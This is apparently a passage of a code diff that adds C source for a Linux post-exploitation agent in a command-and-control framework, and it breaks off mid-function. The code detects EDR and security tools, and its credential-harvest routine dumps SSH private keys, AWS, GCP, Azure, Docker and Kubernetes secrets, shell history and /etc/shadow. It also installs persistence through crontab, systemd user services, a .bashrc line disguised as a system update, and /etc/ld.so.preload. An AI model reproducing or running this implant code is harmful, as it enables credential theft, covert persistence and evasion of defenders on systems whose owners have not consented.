"path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + struct linux_stat st; + if (sys_stat(path, &st) != 0) { + write_error(w, "path not found"); + return 0; + } + + if (S_ISDIR(st.st_mode)) { + // Recursive rm via fork+execve("/bin/rm", ["-rf", path]) + int pid = sys_fork(); + if (pid == 0) { + // Child — execve /bin/rm -rf + char *argv[] = { "/bin/rm", "-rf", path, (char *)0 }; + char *envp[] = { (char *)0 }; + sys_execve("/bin/rm", argv, envp); + sys_exit_group(1); + } else if (pid > 0) { + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + if ((status & 0xff00) >> 8 != 0) { + write_error(w, "rm -rf failed"); + return 0; + } + } else { + write_error(w, "fork failed"); + return 0; + } + } else { + if (sys_unlink(path) != 0) { + write_error(w, "unlink failed"); + return 0; + } + } + + mp_write_nil(w); + return 0; +} + +int task_zip(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + // zip not available on Linux via simple binary — stub for now + (void)data; + (void)data_len; + write_error(w, "zip not implemented"); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.h new file mode 100644 index 000000000..e628af6a2 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.h @@ -0,0 +1,20 @@ +#ifndef TASKS_FS_H +#define TASKS_FS_H + +#include "msgpack.h" +#include + +/// Filesystem command handlers +/// pwd, cd, cat, ls, cp, mv, mkdir, rm, zip + +int task_pwd(mp_writer_t *w); +int task_cd(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_cat(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_ls(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_cp(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_mv(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_mkdir(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_rm(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_zip(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +#endif /* TASKS_FS_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.c new file mode 100644 index 000000000..ee9a6ae32 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.c @@ -0,0 +1,1329 @@ +/// tasks_linux.c -- Linux-specific commands for the native agent +/// env, netstat, mounts, edr, creds, persist, container +/// All ops via direct syscalls — zero libc dependency. + +#include "tasks_linux.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// ── Constants ── + +#define O_RDONLY 0 +#define O_WRONLY 1 +#define O_RDWR 2 +#define O_CREAT 0100 +#define O_TRUNC 01000 +#define O_APPEND 02000 + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +static void write_output(mp_writer_t *w, const char *text) { + mp_write_map(w, 1); + mp_write_kv_str(w, "output", text); +} + +/// Read a file into a stack buffer, return bytes read (or -1) +static long read_file(const char *path, char *buf, size_t buf_size) { + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) return -1; + long total = 0; + while ((size_t)total < buf_size - 1) { + long n = sys_read(fd, buf + total, buf_size - 1 - (size_t)total); + if (n <= 0) break; + total += n; + } + sys_close(fd); + buf[total] = '\0'; + return total; +} + +/// Check if a file exists +static int file_exists(const char *path) { + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) return 0; + sys_close(fd); + return 1; +} + +/// Append string to dynamic buffer (realloc-based) +typedef struct { + char *data; + size_t len; + size_t cap; +} strbuf_t; + +static void sb_init(strbuf_t *sb) { + sb->cap = 4096; + sb->data = (char *)ax_malloc(sb->cap); + sb->data[0] = '\0'; + sb->len = 0; +} + +static void sb_append(strbuf_t *sb, const char *s) { + size_t slen = ax_strlen(s); + while (sb->len + slen + 1 > sb->cap) { + sb->cap *= 2; + sb->data = (char *)ax_realloc(sb->data, sb->cap); + } + ax_memcpy(sb->data + sb->len, s, slen); + sb->len += slen; + sb->data[sb->len] = '\0'; +} + +static void sb_free(strbuf_t *sb) { + if (sb->data) ax_free(sb->data); + sb->data = (char *)0; + sb->len = 0; + sb->cap = 0; +} + +/// Parse a single string field from msgpack params +static int parse_string_field(const uint8_t *data, uint32_t data_len, + const char *key_name, char *out, size_t out_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + size_t kname_len = ax_strlen(key_name); + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + if (klen == kname_len && ax_memcmp(key, key_name, klen) == 0) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out_size) vlen = (uint32_t)(out_size - 1); + ax_memcpy(out, val, vlen); + out[vlen] = '\0'; + return 0; + } + mp_skip(&r); + } + return -1; +} + +// ──── ENV ──── + +int task_env(mp_writer_t *w) +{ + char buf[16384]; + long n = read_file("/proc/self/environ", buf, sizeof(buf)); + if (n <= 0) { + write_error(w, "cannot read /proc/self/environ"); + return 0; + } + + // Replace null separators with newlines + for (long i = 0; i < n; i++) { + if (buf[i] == '\0') buf[i] = '\n'; + } + buf[n] = '\0'; + + write_output(w, buf); + return 0; +} + +// ──── NETSTAT ──── + +/// Parse hex IP + port from /proc/net/tcp format +/// Input: "0100007F:1F90" → "127.0.0.1:8080" +static void parse_hex_addr(const char *hex, char *out, size_t out_size) { + // Parse IP (little-endian hex) and port + unsigned long ip = 0; + unsigned int port = 0; + + // IP is 8 hex chars + const char *p = hex; + for (int i = 0; i < 8 && *p; i++, p++) { + ip = ip * 16; + if (*p >= '0' && *p <= '9') ip += (unsigned long)(*p - '0'); + else if (*p >= 'A' && *p <= 'F') ip += (unsigned long)(*p - 'A' + 10); + else if (*p >= 'a' && *p <= 'f') ip += (unsigned long)(*p - 'a' + 10); + } + if (*p == ':') p++; + // Port is 4 hex chars + for (int i = 0; i < 4 && *p; i++, p++) { + port = port * 16; + if (*p >= '0' && *p <= '9') port += (unsigned int)(*p - '0'); + else if (*p >= 'A' && *p <= 'F') port += (unsigned int)(*p - 'A' + 10); + else if (*p >= 'a' && *p <= 'f') port += (unsigned int)(*p - 'a' + 10); + } + + // IP is stored little-endian on x86, so bytes are reversed + unsigned char b1 = (unsigned char)(ip & 0xff); + unsigned char b2 = (unsigned char)((ip >> 8) & 0xff); + unsigned char b3 = (unsigned char)((ip >> 16) & 0xff); + unsigned char b4 = (unsigned char)((ip >> 24) & 0xff); + + char tmp[64]; + int pos = 0; + char num[8]; + + ax_itoa(b1, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i]; + tmp[pos++] = '.'; + ax_itoa(b2, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i]; + tmp[pos++] = '.'; + ax_itoa(b3, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i]; + tmp[pos++] = '.'; + ax_itoa(b4, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i]; + tmp[pos++] = ':'; + ax_itoa((int)port, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i]; + tmp[pos] = '\0'; + + ax_strncpy(out, tmp, out_size - 1); + out[out_size - 1] = '\0'; +} + +static const char *tcp_state_name(int state) { + switch (state) { + case 1: return "ESTABLISHED"; + case 2: return "SYN_SENT"; + case 3: return "SYN_RECV"; + case 4: return "FIN_WAIT1"; + case 5: return "FIN_WAIT2"; + case 6: return "TIME_WAIT"; + case 7: return "CLOSE"; + case 8: return "CLOSE_WAIT"; + case 9: return "LAST_ACK"; + case 10: return "LISTEN"; + case 11: return "CLOSING"; + default: return "UNKNOWN"; + } +} + +static void parse_net_file(const char *path, const char *proto, strbuf_t *sb) { + char buf[32768]; + long n = read_file(path, buf, sizeof(buf)); + if (n <= 0) return; + + // Skip header line + char *line = buf; + char *eol = ax_strchr(line, '\n'); + if (!eol) return; + line = eol + 1; + + while (*line) { + eol = ax_strchr(line, '\n'); + if (eol) *eol = '\0'; + + // Format: " sl local_address rem_address st ..." + // Skip leading spaces and sl field + char *p = line; + while (*p == ' ') p++; + while (*p && *p != ' ' && *p != ':') p++; // skip sl number + if (*p == ':') p++; + while (*p == ' ') p++; + + // local_address + char local_hex[32] = {0}; + int li = 0; + while (*p && *p != ' ' && li < 31) local_hex[li++] = *p++; + while (*p == ' ') p++; + + // remote_address + char remote_hex[32] = {0}; + int ri = 0; + while (*p && *p != ' ' && ri < 31) remote_hex[ri++] = *p++; + while (*p == ' ') p++; + + // state (hex) + int state = 0; + while (*p && *p != ' ') { + state = state * 16; + if (*p >= '0' && *p <= '9') state += *p - '0'; + else if (*p >= 'A' && *p <= 'F') state += *p - 'A' + 10; + else if (*p >= 'a' && *p <= 'f') state += *p - 'a' + 10; + p++; + } + + char local_str[64], remote_str[64]; + parse_hex_addr(local_hex, local_str, sizeof(local_str)); + parse_hex_addr(remote_hex, remote_str, sizeof(remote_str)); + + // Format output line + char outline[256]; + // "proto local remote state" + ax_strcpy(outline, proto); + // Pad proto to 6 chars + size_t plen = ax_strlen(outline); + while (plen < 6) { outline[plen++] = ' '; outline[plen] = '\0'; } + + ax_strcat(outline, local_str); + plen = ax_strlen(outline); + while (plen < 30) { outline[plen++] = ' '; outline[plen] = '\0'; } + + ax_strcat(outline, remote_str); + plen = ax_strlen(outline); + while (plen < 54) { outline[plen++] = ' '; outline[plen] = '\0'; } + + ax_strcat(outline, tcp_state_name(state)); + ax_strcat(outline, "\n"); + sb_append(sb, outline); + + if (eol) line = eol + 1; + else break; + } +} + +int task_netstat(mp_writer_t *w) +{ + strbuf_t sb; + sb_init(&sb); + + sb_append(&sb, "Proto Local Address Foreign Address State\n"); + sb_append(&sb, "----- ---------------------- ---------------------- -----------\n"); + + parse_net_file("/proc/net/tcp", "tcp", &sb); + parse_net_file("/proc/net/tcp6", "tcp6", &sb); + parse_net_file("/proc/net/udp", "udp", &sb); + parse_net_file("/proc/net/udp6", "udp6", &sb); + + write_output(w, sb.data); + sb_free(&sb); + return 0; +} + +// ──── MOUNTS ──── + +int task_mounts(mp_writer_t *w) +{ + char buf[16384]; + long n = read_file("/proc/self/mountinfo", buf, sizeof(buf)); + if (n <= 0) { + // Fallback to /proc/mounts + n = read_file("/proc/mounts", buf, sizeof(buf)); + if (n <= 0) { + write_error(w, "cannot read mount info"); + return 0; + } + } + + write_output(w, buf); + return 0; +} + +// ──── EDR DETECTION ──── + +typedef struct { + const char *proc_name; + const char *product; +} edr_sig_t; + +int task_edr(mp_writer_t *w) +{ + strbuf_t sb; + sb_init(&sb); + + // Check processes via /proc + // We look for known EDR/security process names + static const struct { const char *name; const char *product; } edr_procs[] = { + // CrowdStrike + {"falcon-sensor", "CrowdStrike Falcon"}, + {"falcond", "CrowdStrike Falcon"}, + {"falconctl", "CrowdStrike Falcon"}, + // Elastic + {"elastic-agent", "Elastic Security"}, + {"elastic-endpoint", "Elastic Endpoint"}, + {"filebeat", "Elastic Filebeat"}, + {"auditbeat", "Elastic Auditbeat"}, + // Wazuh + {"wazuh-agentd", "Wazuh"}, + {"ossec-agentd", "Wazuh/OSSEC"}, + {"wazuh-modulesd", "Wazuh"}, + // SentinelOne + {"SentinelAgent", "SentinelOne"}, + {"sentinelone", "SentinelOne"}, + // Sysdig / Falco + {"falco", "Sysdig Falco"}, + {"sysdig", "Sysdig"}, + {"dragent", "Sysdig Agent"}, + // Lacework + {"datacollector", "Lacework"}, + // OSSEC + {"ossec-logcollector","OSSEC"}, + {"ossec-syscheckd", "OSSEC"}, + // Aqua + {"aqua-enforcer", "Aqua Security"}, + // Tetragon (Cilium eBPF) + {"tetragon", "Cilium Tetragon"}, + // Auditd + {"auditd", "Linux Audit"}, + // Tripwire + {"tripwire", "Tripwire"}, + // ClamAV + {"clamd", "ClamAV"}, + {"clamscan", "ClamAV"}, + }; + int num_sigs = (int)(sizeof(edr_procs) / sizeof(edr_procs[0])); + + // Scan /proc for running processes + struct linux_dirent64_scan { + uint64_t d_ino; + int64_t d_off; + uint16_t d_reclen; + uint8_t d_type; + char d_name[]; + }; + + int dirfd = sys_open("/proc", O_RDONLY, 0); + if (dirfd < 0) { + write_error(w, "cannot open /proc"); + sb_free(&sb); + return 0; + } + + char dirbuf[4096]; + int found_count = 0; + sb_append(&sb, "=== Security Tool Detection ===\n\n"); + sb_append(&sb, "--- Running Processes ---\n"); + + for (;;) { + int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64_scan *d = (struct linux_dirent64_scan *)(dirbuf + pos); + if (d->d_type == 4 && d->d_name[0] >= '0' && d->d_name[0] <= '9') { + // Read /proc//comm + char comm_path[64]; + ax_strcpy(comm_path, "/proc/"); + ax_strcat(comm_path, d->d_name); + ax_strcat(comm_path, "/comm"); + + char comm[256] = {0}; + read_file(comm_path, comm, sizeof(comm)); + // Strip trailing newline + size_t clen = ax_strlen(comm); + if (clen > 0 && comm[clen - 1] == '\n') comm[clen - 1] = '\0'; + + for (int s = 0; s < num_sigs; s++) { + if (ax_strstr(comm, edr_procs[s].name)) { + char line[256]; + ax_strcpy(line, " [!] "); + ax_strcat(line, edr_procs[s].product); + ax_strcat(line, " (pid="); + ax_strcat(line, d->d_name); + ax_strcat(line, ", comm="); + ax_strcat(line, comm); + ax_strcat(line, ")\n"); + sb_append(&sb, line); + found_count++; + } + } + } + pos += d->d_reclen; + } + } + sys_close(dirfd); + + if (found_count == 0) { + sb_append(&sb, " (none detected)\n"); + } + + // Check kernel security modules + sb_append(&sb, "\n--- Kernel Security ---\n"); + + // SELinux + if (file_exists("/sys/fs/selinux/enforce")) { + char enforce[8] = {0}; + read_file("/sys/fs/selinux/enforce", enforce, sizeof(enforce)); + sb_append(&sb, " SELinux: "); + sb_append(&sb, enforce[0] == '1' ? "enforcing\n" : "permissive\n"); + } + + // AppArmor + if (file_exists("/sys/kernel/security/apparmor/profiles")) { + sb_append(&sb, " AppArmor: enabled\n"); + } + + // Auditd + if (file_exists("/proc/sys/kernel/audit_enabled")) { + char audit[8] = {0}; + read_file("/proc/sys/kernel/audit_enabled", audit, sizeof(audit)); + sb_append(&sb, " Audit: "); + sb_append(&sb, audit[0] == '1' ? "enabled\n" : "disabled\n"); + } + + // eBPF programs + if (file_exists("/sys/fs/bpf")) { + sb_append(&sb, " eBPF: /sys/fs/bpf mounted\n"); + } + + // Capabilities + sb_append(&sb, "\n--- Process Capabilities ---\n"); + char status[4096]; + if (read_file("/proc/self/status", status, sizeof(status)) > 0) { + char *cap = ax_strstr(status, "CapEff:"); + if (cap) { + char *eol = ax_strchr(cap, '\n'); + if (eol) *eol = '\0'; + sb_append(&sb, " "); + sb_append(&sb, cap); + sb_append(&sb, "\n"); + if (eol) *eol = '\n'; + } + cap = ax_strstr(status, "CapPrm:"); + if (cap) { + char *eol = ax_strchr(cap, '\n'); + if (eol) *eol = '\0'; + sb_append(&sb, " "); + sb_append(&sb, cap); + sb_append(&sb, "\n"); + } + } + + write_output(w, sb.data); + sb_free(&sb); + return 0; +} + +// ──── CREDS ──── + +/// Get HOME from /proc/self/environ +static void get_home(char *buf, size_t buf_size) { + char env[4096]; + long n = read_file("/proc/self/environ", env, sizeof(env)); + if (n <= 0) { ax_strcpy(buf, "/tmp"); return; } + + // Environ is null-separated + char *p = env; + char *end = env + n; + while (p < end) { + if (p[0] == 'H' && p[1] == 'O' && p[2] == 'M' && p[3] == 'E' && p[4] == '=') { + ax_strncpy(buf, p + 5, buf_size - 1); + buf[buf_size - 1] = '\0'; + return; + } + while (p < end && *p) p++; + p++; + } + ax_strcpy(buf, "/root"); +} + +static void creds_ssh(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- SSH Keys ---\n"); + + static const char *ssh_files[] = { + "/.ssh/id_rsa", "/.ssh/id_ed25519", "/.ssh/id_ecdsa", "/.ssh/id_dsa", + "/.ssh/authorized_keys", "/.ssh/known_hosts", "/.ssh/config", + }; + int num = (int)(sizeof(ssh_files) / sizeof(ssh_files[0])); + + for (int i = 0; i < num; i++) { + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, ssh_files[i]); + + char content[4096]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, " ("); + char num_str[16]; + ax_itoa((int)n, num_str, 10); + sb_append(sb, num_str); + sb_append(sb, " bytes)\n"); + + // Show first 3 lines of key files (not full content for safety) + if (i < 4) { + int lines = 0; + char *p = content; + while (*p && lines < 3) { + char *eol = ax_strchr(p, '\n'); + if (eol) *eol = '\0'; + sb_append(sb, " "); + sb_append(sb, p); + sb_append(sb, "\n"); + lines++; + if (eol) p = eol + 1; + else break; + } + if (lines >= 3) sb_append(sb, " ...\n"); + } + } + } +} + +static void creds_aws(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- AWS Credentials ---\n"); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.aws/credentials"); + + char content[4096]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (not found)\n"); + } + + ax_strcpy(path, home); + ax_strcat(path, "/.aws/config"); + n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } +} + +static void creds_docker(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- Docker Credentials ---\n"); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.docker/config.json"); + + char content[8192]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (not found)\n"); + } +} + +static void creds_kube(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- Kubernetes Config ---\n"); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.kube/config"); + + char content[16384]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, " ("); + char num_str[16]; + ax_itoa((int)n, num_str, 10); + sb_append(sb, num_str); + sb_append(sb, " bytes)\n"); + // Only show first 2048 chars (k8s config can be huge) + if (n > 2048) content[2048] = '\0'; + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (not found)\n"); + } + + // K8s service account token (in-cluster) + n = read_file("/var/run/secrets/kubernetes.io/serviceaccount/token", content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] K8s SA token: /var/run/secrets/kubernetes.io/serviceaccount/token ("); + char num_str[16]; + ax_itoa((int)n, num_str, 10); + sb_append(sb, num_str); + sb_append(sb, " bytes)\n"); + } +} + +static void creds_gcp(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- GCP Credentials ---\n"); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.config/gcloud/application_default_credentials.json"); + + char content[8192]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (not found)\n"); + } +} + +static void creds_azure(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- Azure Credentials ---\n"); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.azure/accessTokens.json"); + + char content[8192]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (not found)\n"); + } + + ax_strcpy(path, home); + ax_strcat(path, "/.azure/azureProfile.json"); + n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + } +} + +static void creds_history(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- Shell History ---\n"); + + static const char *hist_files[] = { + "/.bash_history", "/.zsh_history", "/.ash_history", + }; + int num = (int)(sizeof(hist_files) / sizeof(hist_files[0])); + + for (int i = 0; i < num; i++) { + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, hist_files[i]); + + char content[8192]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, " (last ~8KB):\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } + } +} + +static void creds_shadow(strbuf_t *sb) { + sb_append(sb, "\n--- /etc/shadow ---\n"); + + char content[8192]; + long n = read_file("/etc/shadow", content, sizeof(content)); + if (n > 0) { + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (permission denied — need root)\n"); + } +} + +int task_creds(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char cred_type[64] = {0}; + parse_string_field(data, data_len, "type", cred_type, sizeof(cred_type)); + if (cred_type[0] == '\0') ax_strcpy(cred_type, "all"); + + strbuf_t sb; + sb_init(&sb); + sb_append(&sb, "=== Credential Harvest ===\n"); + + int is_all = (ax_strcmp(cred_type, "all") == 0); + + if (is_all || ax_strcmp(cred_type, "ssh") == 0) creds_ssh(&sb); + if (is_all || ax_strcmp(cred_type, "aws") == 0) creds_aws(&sb); + if (is_all || ax_strcmp(cred_type, "gcp") == 0) creds_gcp(&sb); + if (is_all || ax_strcmp(cred_type, "azure") == 0) creds_azure(&sb); + if (is_all || ax_strcmp(cred_type, "docker") == 0) creds_docker(&sb); + if (is_all || ax_strcmp(cred_type, "kube") == 0) creds_kube(&sb); + if (is_all || ax_strcmp(cred_type, "history") == 0) creds_history(&sb); + if (is_all || ax_strcmp(cred_type, "shadow") == 0) creds_shadow(&sb); + + write_output(w, sb.data); + sb_free(&sb); + return 0; +} + +// ──── PERSIST ──── + +/// Get HOME path (uses /proc/self/environ HOME=) +static void persist_get_home(char *buf, size_t size) { + get_home(buf, size); +} + +static void persist_crontab(const char *cmd, const char *schedule, strbuf_t *sb) { + // Write to user crontab by executing: echo "schedule cmd" | crontab - + // But since we don't have popen, we write a temp file and use crontab + // Actually, directly write to /var/spool/cron/crontabs/ or use fork+execve + + // Build cron line + char line[4096]; + ax_strcpy(line, schedule); + ax_strcat(line, " "); + ax_strcat(line, cmd); + ax_strcat(line, "\n"); + + // Write to temp file + char tmpfile[] = "/tmp/.ax_cron_XXXXXX"; + // Generate random suffix + uint8_t rnd[6]; + ax_random_bytes(rnd, 6); + for (int i = 0; i < 6; i++) { + tmpfile[15 + i] = 'a' + (rnd[i] % 26); + } + + int fd = sys_open(tmpfile, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (fd < 0) { + sb_append(sb, " [!] Failed to create temp file\n"); + return; + } + + // First, dump existing crontab + // We do: crontab -l > tmpfile, then append our line + sys_close(fd); + + // Fork: crontab -l >> tmpfile + int pid = sys_fork(); + if (pid == 0) { + fd = sys_open(tmpfile, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (fd >= 0) { + sys_dup2(fd, 1); // stdout → tmpfile + sys_close(fd); + } + char *argv[] = {"/usr/bin/crontab", "-l", (char *)0}; + char *envp[] = {(char *)0}; + sys_execve("/usr/bin/crontab", argv, envp); + sys_exit_group(0); + } + if (pid > 0) { + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + } + + // Append our new line + fd = sys_open(tmpfile, O_WRONLY | O_APPEND, 0); + if (fd >= 0) { + sys_write(fd, line, ax_strlen(line)); + sys_close(fd); + } + + // Install: crontab tmpfile + pid = sys_fork(); + if (pid == 0) { + char *argv[] = {"/usr/bin/crontab", tmpfile, (char *)0}; + char *envp[] = {(char *)0}; + sys_execve("/usr/bin/crontab", argv, envp); + sys_exit_group(1); + } + if (pid > 0) { + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + if (((status >> 8) & 0xff) == 0) { + sb_append(sb, " [+] Crontab entry installed: "); + sb_append(sb, schedule); + sb_append(sb, " "); + sb_append(sb, cmd); + sb_append(sb, "\n"); + } else { + sb_append(sb, " [!] crontab command failed\n"); + } + } + + // Cleanup temp + sys_unlink(tmpfile); +} + +static void persist_systemd(const char *name, const char *cmd, strbuf_t *sb) { + char home[256]; + persist_get_home(home, sizeof(home)); + + // Create ~/.config/systemd/user/ directory tree + char dir[512]; + ax_strcpy(dir, home); + ax_strcat(dir, "/.config"); + sys_mkdir(dir, 0755); + ax_strcat(dir, "/systemd"); + sys_mkdir(dir, 0755); + ax_strcat(dir, "/user"); + sys_mkdir(dir, 0755); + + // Write service file + char svc_path[512]; + ax_strcpy(svc_path, dir); + ax_strcat(svc_path, "/"); + ax_strcat(svc_path, name); + ax_strcat(svc_path, ".service"); + + char svc_content[2048]; + ax_strcpy(svc_content, "[Unit]\nDescription="); + ax_strcat(svc_content, name); + ax_strcat(svc_content, "\n\n[Service]\nType=simple\nExecStart="); + ax_strcat(svc_content, cmd); + ax_strcat(svc_content, "\nRestart=on-failure\nRestartSec=30\n\n[Install]\nWantedBy=default.target\n"); + + int fd = sys_open(svc_path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd < 0) { + sb_append(sb, " [!] Failed to create service file\n"); + return; + } + sys_write(fd, svc_content, ax_strlen(svc_content)); + sys_close(fd); + + sb_append(sb, " [+] Service file created: "); + sb_append(sb, svc_path); + sb_append(sb, "\n"); + + // Enable with systemctl --user + int pid = sys_fork(); + if (pid == 0) { + char svc_name[256]; + ax_strcpy(svc_name, name); + ax_strcat(svc_name, ".service"); + char *argv[] = {"/usr/bin/systemctl", "--user", "enable", "--now", svc_name, (char *)0}; + char *envp[] = {(char *)0}; + sys_execve("/usr/bin/systemctl", argv, envp); + sys_exit_group(1); + } + if (pid > 0) { + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + if (((status >> 8) & 0xff) == 0) { + sb_append(sb, " [+] Service enabled and started\n"); + } else { + sb_append(sb, " [!] systemctl enable failed (may need --user loginctl enable-linger)\n"); + } + } +} + +static void persist_bashrc(const char *cmd, strbuf_t *sb) { + char home[256]; + persist_get_home(home, sizeof(home)); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.bashrc"); + + int fd = sys_open(path, O_WRONLY | O_APPEND, 0); + if (fd < 0) { + sb_append(sb, " [!] Cannot open ~/.bashrc for append\n"); + return; + } + + char line[4096]; + ax_strcpy(line, "\n# system update\n"); + ax_strcat(line, cmd); + ax_strcat(line, " &>/dev/null &\n"); + + sys_write(fd, line, ax_strlen(line)); + sys_close(fd); + + sb_append(sb, " [+] Appended to "); + sb_append(sb, path); + sb_append(sb, "\n"); +} + +static void persist_ldpreload(const char *path, strbuf_t *sb) { + char content[256]; + ax_strcpy(content, path); + ax_strcat(content, "\n"); + + int fd = sys_open("/etc/ld.so.preload", O_WRONLY | O_CREAT | O_APPEND, 0644); + if (fd < 0) { + sb_append(sb, " [!] Cannot write /etc/ld.so.preload (need root)\n"); + return; + } + sys_write(fd, content, ax_strlen(content)); + sys_close(fd); + + sb_append(sb, " [+] Added to /etc/ld.so.preload: "); + sb_append(sb, path); + sb_append(sb, "\n"); +} + +static void persist_status(strbuf_t *sb) { + char home[256]; + persist_get_home(home, sizeof(home)); + + sb_append(sb, "--- Persistence Status ---\n\n"); + + // Check crontab + sb_append(sb, "Crontab:\n"); + int pid = sys_fork(); + if (pid == 0) { + int pfd[2]; + sys_pipe2(pfd, 0); + // We just check if crontab -l succeeds + char *argv[] = {"/usr/bin/crontab", "-l", (char *)0}; + char *envp[] = {(char *)0}; + sys_dup2(pfd[1], 1); + sys_close(pfd[0]); + sys_close(pfd[1]); + sys_execve("/usr/bin/crontab", argv, envp); + sys_exit_group(1); + } + if (pid > 0) { + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + } + // We can't easily capture output in the parent without a pipe + // So just note that we checked + sb_append(sb, " (run 'shell crontab -l' to view)\n"); + + // Check systemd user services + sb_append(sb, "\nSystemd user services:\n"); + char dir[512]; + ax_strcpy(dir, home); + ax_strcat(dir, "/.config/systemd/user"); + int dfd = sys_open(dir, O_RDONLY, 0); + if (dfd >= 0) { + char dirbuf[4096]; + struct { uint64_t d_ino; int64_t d_off; uint16_t d_reclen; uint8_t d_type; char d_name[]; } *d; + int nread; + while ((nread = sys_getdents64(dfd, dirbuf, sizeof(dirbuf))) > 0) { + int pos = 0; + while (pos < nread) { + d = (void *)(dirbuf + pos); + if (ax_strstr(d->d_name, ".service")) { + sb_append(sb, " "); + sb_append(sb, d->d_name); + sb_append(sb, "\n"); + } + pos += d->d_reclen; + } + } + sys_close(dfd); + } else { + sb_append(sb, " (no user services directory)\n"); + } + + // Check ld.so.preload + sb_append(sb, "\n/etc/ld.so.preload:\n"); + char preload[1024]; + long n = 